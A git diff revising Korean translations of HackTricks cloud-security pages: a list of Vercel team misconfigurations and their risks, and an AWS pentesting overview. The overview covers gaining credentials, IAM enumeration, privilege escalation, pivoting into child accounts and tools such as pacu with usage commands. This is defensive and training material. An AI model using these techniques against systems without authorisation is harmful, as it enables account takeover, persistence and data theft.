**잠재적인 잘못된 구성:**
-- **Over-Permissioning Members:** 필요 이상으로 많은 권한을 가진 역할을 할당하여 무단 접근이나 행동을 초래합니다.
-- **Improper Role Assignments:** 팀 구성원의 책임과 일치하지 않는 역할을 잘못 할당하여 권한 상승을 초래합니다.
-- **Lack of Project Segregation:** 민감한 프로젝트를 분리하지 않아 의도보다 더 넓은 접근을 허용합니다.
-- **Insufficient Group Management:** Access Groups를 정기적으로 검토하거나 업데이트하지 않아 구식 또는 부적절한 접근 권한이 발생합니다.
-- **Inconsistent Role Definitions:** 서로 다른 Access Groups 간에 일관되지 않거나 불분명한 역할 정의를 사용하여 혼란과 보안 격차를 초래합니다.
+- **과도한 권한 부여 구성원:** 필요 이상으로 많은 권한이 있는 역할을 할당하여 무단 접근 또는 행동을 초래합니다.
+- **부적절한 역할 할당:** 팀 구성원의 책임과 일치하지 않는 역할을 잘못 할당하여 권한 상승을 초래합니다.
+- **프로젝트 분리 부족:** 민감한 프로젝트를 분리하지 않아 의도보다 더 넓은 접근을 허용합니다.
+- **불충분한 그룹 관리:** 접근 그룹을 정기적으로 검토하거나 업데이트하지 않아 구식 또는 부적절한 접근 권한이 발생합니다.
+- **일관되지 않은 역할 정의:** 서로 다른 접근 그룹 간에 일관되지 않거나 불명확한 역할 정의를 사용하여 혼란과 보안 격차를 초래합니다.
---
-### Log Drains
+### 로그 드레인
-#### Security Configurations:
+#### 보안 구성:
-- **Log Drains to third parties:**
-- **Misconfiguration:** 공격자가 로그를 훔치기 위해 Log Drain을 구성할 수 있습니다.
-- **Risk:** 부분적인 지속성.
+- **타사 로그 드레인:**
+- **잘못된 구성:** 공격자가 로그를 훔치기 위해 로그 드레인을 구성할 수 있습니다.
+- **위험:** 부분적인 지속성.
---
-### Security & Privacy
+### 보안 및 개인 정보 보호
-#### Security Configurations:
+#### 보안 구성:
-- **Team Email Domain:** 구성 시 이 설정은 지정된 도메인(예: `mydomain.com`)으로 끝나는 이메일 주소를 가진 Vercel 개인 계정을 자동으로 초대하여 팀에 가입하도록 합니다.
-- **Misconfiguration:**\
-잘못된 이메일 도메인 또는 잘못 철자된 도메인을 팀 이메일 도메인 설정에 지정합니다.
-- 일반 이메일 도메인(예: `gmail.com`, `hotmail.com`)을 회사 특정 도메인 대신 사용합니다.
-- **Risks:**
-- **Unauthorized Access:** 의도하지 않은 도메인의 이메일 주소를 가진 사용자가 팀에 가입하라는 초대를 받을 수 있습니다.
-- **Data Exposure:** 민감한 프로젝트 정보가 무단 개인에게 노출될 수 있습니다.
-- **Protected Git Scopes:** 보호된 범위에서 다른 Vercel 팀이 리포지토리를 배포하지 못하도록 팀에 최대 5개의 Git 범위를 추가할 수 있습니다. 여러 팀이 동일한 범위를 지정할 수 있어 두 팀 모두 접근할 수 있습니다.
-- **Misconfiguration:** 보호된 목록에 중요한 Git 범위를 추가하지 않습니다.
-- **Risks:**
-- **Unauthorized Deployments:** 다른 팀이 귀하의 조직 Git 범위에서 무단으로 리포지토리를 배포할 수 있습니다.
-- **Intellectual Property Exposure:** 독점 코드가 배포되어 팀 외부에서 접근될 수 있습니다.
-- **Environment Variable Policies:** 팀의 환경 변수를 생성하고 편집하는 정책을 시행합니다. 특히 모든 환경 변수가 Vercel의 배포 시스템에 의해 복호화될 수 있는 **민감한 환경 변수**로 생성되도록 강제할 수 있습니다.
-- **Misconfiguration:** 민감한 환경 변수의 시행을 비활성화합니다.
-- **Risks:**
-- **Exposure of Secrets:** 환경 변수가 무단 팀 구성원에 의해 조회되거나 편집될 수 있습니다.
-- **Data Breach:** API 키 및 자격 증명과 같은 민감한 정보가 유출될 수 있습니다.
-- **Audit Log:** 팀의 활동을 지난 90일 동안 내보낼 수 있습니다. 감사 로그는 팀 구성원이 수행한 작업을 모니터링하고 추적하는 데 도움이 됩니다.
-- **Misconfiguration:**\
+- **팀 이메일 도메인:** 구성된 경우, 이 설정은 지정된 도메인(예: `mydomain.com`)으로 끝나는 이메일 주소를 가진 Vercel 개인 계정을 자동으로 초대하여 가입 시 및 대시보드에서 팀에 참여하도록 합니다.
+- **잘못된 구성:**
+- 잘못된 이메일 도메인 또는 잘못 철자된 도메인을 팀 이메일 도메인 설정에 지정합니다.
+- 회사 전용 도메인 대신 일반 이메일 도메인(예: `gmail.com`, `hotmail.com`)을 사용합니다.
+- **위험:**
+- **무단 접근:** 의도하지 않은 도메인의 이메일 주소를 가진 사용자가 팀에 참여하라는 초대를 받을 수 있습니다.
+- **데이터 노출:** 무단 개인에게 민감한 프로젝트 정보가 노출될 수 있습니다.
+- **보호된 Git 범위:** 팀에 최대 5개의 Git 범위를 추가하여 다른 Vercel 팀이 보호된 범위에서 리포지토리를 배포하지 못하도록 합니다. 여러 팀이 동일한 범위를 지정할 수 있어 두 팀 모두 접근할 수 있습니다.
+- **잘못된 구성:** 보호 목록에 중요한 Git 범위를 추가하지 않습니다.
+- **위험:**
+- **무단 배포:** 다른 팀이 귀하의 조직 Git 범위에서 무단으로 리포지토리를 배포할 수 있습니다.
+- **지적 재산 노출:** 독점 코드가 팀 외부에 배포되고 접근될 수 있습니다.
+- **환경 변수 정책:** 팀의 환경 변수를 생성 및 편집하기 위한 정책을 시행합니다. 특히, 모든 환경 변수가 Vercel의 배포 시스템에 의해 복호화될 수 있는 **민감한 환경 변수**로 생성되도록 강제할 수 있습니다.
+- **잘못된 구성:** 민감한 환경 변수의 강제를 비활성화합니다.
+- **위험:**
+- **비밀 노출:** 환경 변수가 무단 팀 구성원에 의해 조회되거나 편집될 수 있습니다.
+- **데이터 유출:** API 키 및 자격 증명과 같은 민감한 정보가 유출될 수 있습니다.
+- **감사 로그:** 팀의 활동을 지난 90일 동안 내보낼 수 있습니다. 감사 로그는 팀 구성원이 수행한 작업을 모니터링하고 추적하는 데 도움이 됩니다.
+- **잘못된 구성:**\
무단 팀 구성원에게 감사 로그에 대한 접근을 부여합니다.
-- **Risks:**
-- **Privacy Violations:** 민감한 사용자 활동 및 데이터의 노출.
-- **Tampering with Logs:** 악의적인 행위자가 로그를 변경하거나 삭제하여 자신의 흔적을 감출 수 있습니다.
-- **SAML Single Sign-On:** 팀을 위한 SAML 인증 및 디렉토리 동기화를 사용자 정의할 수 있으며, 중앙 집중식 인증 및 사용자 관리를 위해 Identity Provider(IdP)와 통합할 수 있습니다.
-- **Misconfiguration:** 공격자가 SAML 매개변수(예: Entity ID, SSO URL 또는 인증서 지문)를 설정하여 팀을 백도어할 수 있습니다.
-- **Risk:** 지속성 유지.
-- **IP Address Visibility:** 특정 데이터 보호 법률에 따라 개인 정보로 간주될 수 있는 IP 주소가 모니터링 쿼리 및 로그 드레인에 표시되는지 여부를 제어합니다.
-- **Misconfiguration:** 필요 없이 IP 주소 가시성을 활성화한 상태로 두는 것.
-- **Risks:**
-- **Privacy Violations:** GDPR과 같은 데이터 보호 규정 준수 실패.
-- **Legal Repercussions:** 개인 데이터를 잘못 처리하여 발생할 수 있는 잠재적 벌금 및 처벌.
-- **IP Blocking:** Vercel이 요청을 차단해야 하는 IP 주소 및 CIDR 범위를 구성할 수 있습니다. 차단된 요청은 청구에 기여하지 않습니다.
-- **Misconfiguration:** 공격자가 악성 트래픽을 허용하거나 정상 트래픽을 차단하는 데 악용할 수 있습니다.
-- **Risks:**
-- **Service Denial to Legitimate Users:** 유효한 사용자 또는 파트너의 접근 차단.
-- **Operational Disruptions:** 특정 지역 또는 클라이언트에 대한 서비스 가용성 손실.
+- **위험:**
+- **개인 정보 침해:** 민감한 사용자 활동 및 데이터 노출.
+- **로그 변조:** 악의적인 행위자가 자신의 흔적을 감추기 위해 로그를 변경하거나 삭제할 수 있습니다.
+- **SAML 단일 로그인:** 팀을 위한 SAML 인증 및 디렉토리 동기화를 사용자 정의할 수 있으며, 중앙 집중식 인증 및 사용자 관리를 위해 ID 공급자(IdP)와 통합할 수 있습니다.
+- **잘못된 구성:** 공격자가 SAML 매개변수(예: 엔터티 ID, SSO URL 또는 인증서 지문)를 설정하여 팀을 백도어할 수 있습니다.
+- **위험:** 지속성 유지.
+- **IP 주소 가시성:** 특정 데이터 보호 법률에 따라 개인 정보로 간주될 수 있는 IP 주소가 모니터링 쿼리 및 로그 드레인에 표시되는지 여부를 제어합니다.
+- **잘못된 구성:** 필요 없이 IP 주소 가시성을 활성화한 상태로 두기.
+- **위험:**
+- **개인 정보 침해:** GDPR과 같은 데이터 보호 규정 준수 실패.
+- **법적 결과:** 개인 데이터 처리 부주의로 인한 잠재적 벌금 및 처벌.
+- **IP 차단:** Vercel이 요청을 차단해야 하는 IP 주소 및 CIDR 범위를 구성할 수 있습니다. 차단된 요청은 청구에 기여하지 않습니다.
+- **잘못된 구성:** 공격자가 악성 트래픽을 허용하거나 정상 트래픽을 차단하도록 악용할 수 있습니다.
+- **위험:**
+- **정상 사용자에 대한 서비스 거부:** 유효한 사용자 또는 파트너의 접근 차단.
+- **운영 중단:** 특정 지역 또는 클라이언트에 대한 서비스 가용성 손실.
---
-### Secure Compute
+### 안전한 컴퓨팅
-**Vercel Secure Compute**는 Vercel Functions와 백엔드 환경(예: 데이터베이스) 간의 안전하고 비공식적인 연결을 가능하게 하여 전용 IP 주소가 있는 격리된 네트워크를 설정합니다. 이를 통해 백엔드 서비스를 공개적으로 노출할 필요가 없어 보안, 규정 준수 및 개인 정보 보호가 향상됩니다.
+**Vercel 안전한 컴퓨팅**은 Vercel 함수와 백엔드 환경(예: 데이터베이스) 간의 안전하고 비공식적인 연결을 가능하게 하여 전용 IP 주소가 있는 격리된 네트워크를 설정합니다. 이를 통해 백엔드 서비스를 공개적으로 노출할 필요가 없어 보안, 규정 준수 및 개인 정보 보호가 향상됩니다.
#### **잠재적인 잘못된 구성 및 위험**
-1. **Incorrect AWS Region Selection**
-- **Misconfiguration:** Secure Compute 네트워크에 대한 AWS 리전을 백엔드 서비스의 리전과 일치하지 않게 선택합니다.
-- **Risk:** 지연 증가, 데이터 거주지 준수 문제 및 성능 저하.
-2. **Overlapping CIDR Blocks**
-- **Misconfiguration:** 기존 VPC 또는 다른 네트워크와 겹치는 CIDR 블록을 선택합니다.
-- **Risk:** 네트워크 충돌로 인해 연결 실패, 무단 접근 또는 네트워크 간 데이터 유출이 발생할 수 있습니다.
-3. **Improper VPC Peering Configuration**
-- **Misconfiguration:** VPC 피어링을 잘못 설정합니다(예: 잘못된 VPC ID, 불완전한 라우트 테이블 업데이트).
-- **Risk:** 백엔드 인프라에 대한 무단 접근, 안전한 연결 실패 및 잠재적 데이터 유출.
-4. **Excessive Project Assignments**
-- **Misconfiguration:** 적절한 격리 없이 여러 프로젝트를 단일 Secure Compute 네트워크에 할당합니다.
-- **Risk:** 공유 IP 노출로 인해 공격 표면이 증가하여 손상된 프로젝트가 다른 프로젝트에 영향을 미칠 수 있습니다.
-5. **Inadequate IP Address Management**
-- **Misconfiguration:** 전용 IP 주소를 적절하게 관리하거나 회전하지 않습니다.
-- **Risk:** IP 스푸핑, 추적 취약점 및 IP가 악의적인 활동과 연관될 경우 블랙리스트에 올라갈 수 있습니다.
-6. **Including Build Containers Unnecessarily**
-- **Misconfiguration:** 빌드 중 백엔드 접근이 필요하지 않을 때 빌드 컨테이너를 Secure Compute 네트워크에 추가합니다.
-- **Risk:** 공격 표면이 확대되고 프로비저닝 지연이 증가하며 네트워크 자원의 불필요한 소비가 발생합니다.
-7. **Failure to Securely Handle Bypass Secrets**
-- **Misconfiguration:** 배포 보호를 우회하는 데 사용되는 비밀을 노출하거나 잘못 처리합니다.
-- **Risk:** 보호된 배포에 대한 무단 접근이 발생하여 공격자가 악성 코드를 조작하거나 배포할 수 있습니다.
-8. **Ignoring Region Failover Configurations**
-- **Misconfiguration:** 수동 장애 조치 지역을 설정하지 않거나 장애 조치 설정을 잘못 구성합니다.
-- **Risk:** 기본 지역 중단 시 서비스 중단이 발생하여 가용성이 감소하고 데이터 불일치가 발생할 수 있습니다.
-9. **Exceeding VPC Peering Connection Limits**
-- **Misconfiguration:** 허용된 한도(예: 50개 연결 초과)보다 더 많은 VPC 피어링 연결을 설정하려고 시도합니다.
-- **Risk:** 필요한 백엔드 서비스에 안전하게 연결할 수 없어 배포 실패 및 운영 중단이 발생할 수 있습니다.
-10. **Insecure Network Settings**
-- **Misconfiguration:** 약한 방화벽 규칙, 암호화 부족 또는 Secure Compute 네트워크 내에서 잘못된 네트워크 분할.
-- **Risk:** 데이터 가로채기, 백엔드 서비스에 대한 무단 접근 및 공격에 대한 취약성이 증가합니다.
+1. **잘못된 AWS 리전 선택**
+- **잘못된 구성:** 백엔드 서비스의 리전과 일치하지 않는 안전한 컴퓨팅 네트워크를 위한 AWS 리전을 선택합니다.
+- **위험:** 지연 증가, 데이터 거주지 준수 문제 및 성능 저하.
+2. **CIDR 블록 중복**
+- **잘못된 구성:** 기존 VPC 또는 다른 네트워크와 중복되는 CIDR 블록을 선택합니다.
+- **위험:** 네트워크 충돌로 인해 연결 실패, 무단 접근 또는 네트워크 간 데이터 유출.
+3. **부적절한 VPC 피어링 구성**
+- **잘못된 구성:** VPC 피어링을 잘못 설정합니다(예: 잘못된 VPC ID, 불완전한 라우트 테이블 업데이트).
+- **위험:** 백엔드 인프라에 대한 무단 접근, 안전한 연결 실패 및 잠재적 데이터 유출.
+4. **과도한 프로젝트 할당**
+- **잘못된 구성:** 적절한 격리 없이 여러 프로젝트를 단일 안전한 컴퓨팅 네트워크에 할당합니다.
+- **위험:** 공유 IP 노출로 공격 표면이 증가하여 손상된 프로젝트가 다른 프로젝트에 영향을 미칠 수 있습니다.
+5. **부적절한 IP 주소 관리**
+- **잘못된 구성:** 전용 IP 주소를 적절하게 관리하거나 회전하지 않습니다.
+- **위험:** IP 스푸핑, 추적 취약점 및 IP가 악성 활동과 연관될 경우 블랙리스트에 올라갈 가능성.
+6. **불필요하게 빌드 컨테이너 포함**
+- **잘못된 구성:** 빌드 중 백엔드 접근이 필요하지 않을 때 안전한 컴퓨팅 네트워크에 빌드 컨테이너를 추가합니다.
+- **위험:** 공격 표면이 확장되고 프로비저닝 지연이 증가하며 네트워크 자원의 불필요한 소비.
+7. **우회 비밀을 안전하게 처리하지 않음**
+- **잘못된 구성:** 배포 보호를 우회하는 데 사용되는 비밀을 노출하거나 잘못 처리합니다.
+- **위험:** 보호된 배포에 대한 무단 접근이 가능해져 공격자가 악성 코드를 조작하거나 배포할 수 있습니다.
+8. **리전 장애 조치 구성 무시**
+- **잘못된 구성:** 수동 장애 조치 리전을 설정하지 않거나 장애 조치 설정을 잘못 구성합니다.
+- **위험:** 기본 리전 중단 시 서비스 중단이 발생하여 가용성이 감소하고 데이터 불일치가 발생할 수 있습니다.
+9. **VPC 피어링 연결 한도 초과**
+- **잘못된 구성:** 허용된 한도(예: 50개 연결 초과)보다 더 많은 VPC 피어링 연결을 설정하려고 시도합니다.
+- **위험:** 필요한 백엔드 서비스에 안전하게 연결할 수 없어 배포 실패 및 운영 중단이 발생할 수 있습니다.
+10. **불안전한 네트워크 설정**
+- **잘못된 구성:** 약한 방화벽 규칙, 암호화 부족 또는 안전한 컴퓨팅 네트워크 내에서 부적절한 네트워크 분할.
+- **위험:** 데이터 가로채기, 백엔드 서비스에 대한 무단 접근 및 공격에 대한 취약성 증가.
---
-### Environment Variables
+### 환경 변수
**목적:** 모든 프로젝트에서 사용하는 환경별 변수 및 비밀을 관리합니다.
-#### Security Configurations:
+#### 보안 구성:
-- **Exposing Sensitive Variables**
-- **Misconfiguration:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근할 수 있게 합니다.
-- **Risk:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출이 발생할 수 있습니다.
-- **Sensitive disabled**
-- **Misconfiguration:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다.
-- **Risk:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
+- **민감한 변수 노출**
+- **잘못된 구성:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근 가능하게 만듭니다.
+- **위험:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출로 이어질 수 있습니다.
+- **민감한 비활성화**
+- **잘못된 구성:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다.
+- **위험:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index cd547eb5d..303ec6548 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -4,9 +4,9 @@
## 기본 정보
-**AWS** 환경에서 **펜테스팅**을 시작하기 전에, AWS가 어떻게 작동하는지에 대한 몇 가지 **기본 사항을 알아야** 합니다. 이를 통해 무엇을 해야 하는지, 잘못 구성된 부분을 찾는 방법, 그리고 이를 어떻게 악용할 수 있는지 이해하는 데 도움이 됩니다.
+**AWS** 환경에서 **펜테스팅**을 시작하기 전에 AWS가 어떻게 작동하는지에 대한 몇 가지 **기본 사항을 알아야** 합니다. 이를 통해 무엇을 해야 하는지, 잘못 구성된 부분을 어떻게 찾는지, 그리고 이를 어떻게 악용할 수 있는지 이해하는 데 도움이 됩니다.
-조직 계층 구조, IAM 및 기타 기본 개념과 같은 개념은 다음에서 설명됩니다:
+조직 계층, IAM 및 기타 기본 개념과 같은 개념은 다음에서 설명됩니다:
{{#ref}}
aws-basic-information/
@@ -34,7 +34,7 @@ AWS 환경을 감사하기 위해서는 **어떤 서비스가 사용되고 있
레드 팀 관점에서, **AWS 환경을 타격하기 위한 첫 번째 단계**는 일부 **자격 증명**을 얻는 것입니다. 다음은 이를 수행하는 방법에 대한 몇 가지 아이디어입니다:
- github(또는 유사한 곳)의 **유출** - OSINT
-- **사회적** 공학
+- **소셜** 엔지니어링
- **비밀번호** 재사용 (비밀번호 유출)
- AWS 호스팅 애플리케이션의 취약점
- [**서버 측 요청 위조**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 메타데이터 엔드포인트에 접근
@@ -51,20 +51,20 @@ AWS 환경을 감사하기 위해서는 **어떤 서비스가 사용되고 있
aws-unauthenticated-enum-access/
{{#endref}}
-또는 **검토**를 수행하는 경우, 이러한 역할로 **자격 증명을 요청**할 수 있습니다:
+또는 **검토**를 수행하는 경우 이러한 역할로 **자격 증명을 요청**할 수 있습니다:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> 자격 증명을 얻은 후, **그 자격 증명이 누구에게 속하는지**와 **그들이 무엇에 접근할 수 있는지** 알아야 하므로, 기본적인 열거 작업을 수행해야 합니다:
+> 자격 증명을 얻은 후에는 **그 자격 증명이 누구에게 속하는지**와 **그들이 무엇에 접근할 수 있는지** 알아야 하므로 기본적인 열거 작업을 수행해야 합니다:
## 기본 열거
### SSRF
-AWS 내부의 머신에서 SSRF를 발견한 경우, 이 페이지에서 요령을 확인하세요:
+AWS 내부의 머신에서 SSRF를 발견한 경우 이 페이지에서 요령을 확인하세요:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -72,7 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Whoami
-가장 먼저 알아야 할 것은 당신이 누구인지(어떤 계정에 있는지 및 AWS 환경에 대한 기타 정보)입니다:
+가장 먼저 알아야 할 것 중 하나는 당신이 누구인지(어떤 계정에 있는지 및 AWS 환경에 대한 기타 정보)입니다:
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -100,28 +100,28 @@ aws-services/aws-organizations-enum.md
### IAM 열거
-충분한 권한이 있다면 **AWS 계정 내 각 엔터티의 권한을 확인하는 것**이 자신과 다른 아이덴티티가 할 수 있는 일과 **권한 상승** 방법을 이해하는 데 도움이 됩니다.
+충분한 권한이 있는 경우 **AWS 계정 내 각 엔터티의 권한을 확인하는 것**은 자신과 다른 아이덴티티가 할 수 있는 일과 **권한 상승** 방법을 이해하는 데 도움이 됩니다.
-IAM을 열거할 충분한 권한이 없다면 **무차별 대입 공격을 통해** 알아낼 수 있습니다.\
-**열거 및 무차별 대입 공격 방법**은 다음에서 확인하세요:
+IAM을 열거할 충분한 권한이 없는 경우 **무작위 대입 공격을 통해** 알아낼 수 있습니다.\
+**열거 및 무작위 대입 공격 방법**은 다음에서 확인하세요:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> 이제 **자신의 자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 **발견되지 않았기를 바랍니다**). 환경에서 어떤 서비스가 사용되고 있는지 파악할 시간입니다.\
+> 이제 **자신의 자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 **발견되지 않았기를 바랍니다**). 환경에서 사용 중인 서비스가 무엇인지 파악할 시간입니다.\
> 다음 섹션에서는 **일반 서비스 열거 방법**을 확인할 수 있습니다.
## 서비스 열거, 사후 활용 및 지속성
-AWS는 놀라운 양의 서비스를 제공합니다. 다음 페이지에서는 **기본 정보, 열거** 치트시트\*\*,\*\* **탐지를 피하는 방법**, **지속성** 확보 및 일부 서비스에 대한 **사후 활용** 트릭을 찾을 수 있습니다:
+AWS는 놀라운 양의 서비스를 제공합니다. 다음 페이지에서는 **기본 정보, 열거** 치트시트\*\*,\*\* **탐지를 피하는 방법**, **지속성** 확보 및 일부 서비스에 대한 기타 **사후 활용** 기법을 찾을 수 있습니다:
{{#ref}}
aws-services/
{{#endref}}
-모든 작업을 **수동으로** 수행할 필요는 없으며, 이 게시물 아래에서 [**자동화 도구**](./#automated-tools)에 대한 **섹션**을 찾을 수 있습니다.
+모든 작업을 **수동으로** 수행할 필요는 없으며, 이 게시물 아래에서 [**자동 도구**](./#automated-tools)에 대한 **섹션**을 찾을 수 있습니다.
또한 이 단계에서 **인증되지 않은 사용자에게 노출된 더 많은 서비스**를 발견했을 수 있으며, 이를 악용할 수 있습니다:
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
## 권한 상승
-다양한 리소스에 대한 **자신의 권한을 확인할 수 있다면** **추가 권한을 얻을 수 있는지 확인할 수 있습니다**. 다음에서 언급된 권한에 집중해야 합니다:
+다양한 리소스에 대한 **자신의 권한을 확인할 수 있다면** **추가 권한을 얻을 수 있는지 확인할 수 있습니다**. 다음에서 언급된 권한에 최소한 집중해야 합니다:
{{#ref}}
aws-privilege-escalation/
@@ -152,16 +152,16 @@ https://book.hacktricks.xyz/
### 루트/관리 계정에서
-관리 계정이 조직 내에 새 계정을 생성할 때, **새 역할**이 새 계정에 생성되며, 기본적으로 **`OrganizationAccountAccessRole`**이라는 이름이 붙고 **관리 계정**에 새 계정에 접근할 수 있는 **AdministratorAccess** 정책이 부여됩니다.
+관리 계정이 조직 내에서 새 계정을 생성할 때, **새 역할**이 새 계정에 생성되며, 기본적으로 **`OrganizationAccountAccessRole`**이라는 이름이 붙고 **관리 계정**에 **AdministratorAccess** 정책이 부여되어 새 계정에 접근할 수 있습니다.
따라서 자식 계정에 관리자 권한으로 접근하려면 다음이 필요합니다:
- **관리** 계정을 **침해**하고 **자식 계정의 ID**와 **역할의 이름**(기본적으로 OrganizationAccountAccessRole)을 찾아 관리 계정이 관리자 권한으로 접근할 수 있도록 합니다.
-- 자식 계정을 찾으려면 AWS 콘솔의 조직 섹션으로 가거나 `aws organizations list-accounts`를 실행합니다.
+- 자식 계정을 찾으려면 AWS 콘솔의 조직 섹션으로 이동하거나 `aws organizations list-accounts`를 실행합니다.
- 역할의 이름을 직접 찾을 수 없으므로 모든 사용자 정의 IAM 정책을 확인하고 **이전에 발견된 자식 계정에 대한 `sts:AssumeRole`을 허용하는 정책**을 검색합니다.
-- **자식 계정의 역할에 대한 `sts:AssumeRole` 권한을 가진 관리 계정의 **주체**를 **침해**합니다** (관리 계정에서 누구나 가장할 수 있도록 허용하더라도, 외부 계정이므로 특정 `sts:AssumeRole` 권한이 필요합니다).
+- **관리 계정의 주체를 침해**하고 **자식 계정의 역할에 대한 `sts:AssumeRole` 권한**을 부여합니다 (계정이 관리 계정의 누구에게나 가장할 수 있도록 허용하더라도, 외부 계정이므로 특정 `sts:AssumeRole` 권한이 필요합니다).
## 자동화 도구
@@ -178,8 +178,8 @@ AWS_PROFILE= aws_recon \
--regions global,us-east-1,us-east-2 \
--verbose
```
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist는 클라우드 제공업체로부터 자산(호스트 이름, IP 주소)을 가져오는 **다중 클라우드 도구**입니다.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper는 Amazon Web Services (AWS) 환경을 분석하는 데 도움을 줍니다. 이제 보안 문제에 대한 감사 기능을 포함하여 훨씬 더 많은 기능을 포함하고 있습니다.
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist는 클라우드 제공업체에서 자산(호스트 이름, IP 주소)을 가져오는 **다중 클라우드 도구**입니다.
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper는 Amazon Web Services (AWS) 환경을 분석하는 데 도움을 줍니다. 이제 보안 문제에 대한 감사 기능을 포함하여 훨씬 더 많은 기능이 포함되어 있습니다.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
@@ -233,14 +233,14 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 제어 등을 포함한 서비스와 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 기반한 직관적인 그래프 뷰로 제공합니다.
-- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 사용) 이 도구는 계정에 생성된 모든 [**AWS 리소스**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource)를 **발견하려고** 합니다.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 제어 등 서비스와 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 기반한 직관적인 그래프 뷰로 제공합니다.
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 사용) 이 도구는 계정에서 생성된 모든 [**AWS 리소스**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource)를 **발견하려고** 합니다.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): AWS 계정과 연결된 모든 공용 IP 주소(IPv4/IPv6 모두)를 **가져오는** 도구입니다.
### Privesc & Exploiting
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 스캔된 AWS 환경에서 가장 권한이 높은 사용자, 즉 AWS Shadow Admins를 발견합니다. PowerShell을 사용합니다. [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)에서 **`Check-PrivilegedPolicy`** 함수의 **권한 정책 정의**를 찾을 수 있습니다.
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu는 클라우드 환경에 대한 공격 보안 테스트를 위해 설계된 오픈 소스 **AWS exploitation framework**입니다. **열거**, **구성 오류**를 찾고 **악용**할 수 있습니다. **`user_escalation_methods`** dict 내에서 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)에서 **권한 정의**를 찾을 수 있습니다.
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 스캔된 AWS 환경에서 가장 특권이 있는 사용자, 즉 AWS Shadow Admins를 발견합니다. PowerShell을 사용합니다. [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)에서 **`Check-PrivilegedPolicy`** 함수의 **특권 정책 정의**를 찾을 수 있습니다.
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu는 클라우드 환경에 대한 공격 보안 테스트를 위해 설계된 오픈 소스 **AWS exploitation framework**입니다. **열거**, **구성 오류**를 찾고 **악용**할 수 있습니다. **`user_escalation_methods`** dict 내에서 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)에서 **특권 권한 정의**를 찾을 수 있습니다.
- pacu는 **자신의 privescs 경로만 확인합니다** (계정 전체가 아님).
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
